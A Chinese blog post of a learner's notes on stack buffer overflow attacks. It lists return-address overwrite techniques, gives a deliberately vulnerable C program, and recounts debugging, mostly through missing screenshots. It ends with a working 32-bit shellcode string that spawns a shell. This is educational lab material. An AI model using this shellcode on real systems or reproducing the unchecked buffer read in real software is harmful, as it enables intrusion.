栈溢出攻击

大神的博客就是强
基础知识:https://zhuanlan.zhihu.com/p/25816426

知识储备

核心目的: 攻击指令的地址来覆盖返回地址

  • 修改返回地址, 让其指向溢出数据的一段指令
  • 修改返回地址, 让其指向内存中以后的某个函数
  • 修改返回地址 , 让其指向内存中以后的指令
  • 修改某个被调用的函数地址,让其指向另一个函数

在这里插入图片描述
“X90” , NOP
在这里插入图片描述

观察程序运行过程

在这里插入图片描述

栈的变化

在这里插入图片描述

关键指令

在这里插入图片描述

栈溢出攻击实例

#include <stdio.h>
void func()
{
char name[0x50];
read(0 , name , 0x100);
write(1 , name , 0x100);
}
int main()
{
func();
return 0;
}

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
执行这段脚本失败
在这里插入图片描述
难受 , 问了下班上同学说是和shellcode 有问题
参加这个博客 https://www.anquanke.com/post/id/91266
重新开始
在这里插入图片描述
这次esp 为ffffd3f0
在这里插入图片描述
在这里插入图片描述
呃 发现他是反了
在这里插入图片描述

反正想要填充的NOP指令,不可执行 。。。。再次修改payload
发现是可以是可以注入的地址, 但是不可执行, 重新修改
在这里插入图片描述
shellcode 的原因

正确的shellcodepayload+=’\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80’
终于成功了

  • 0
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值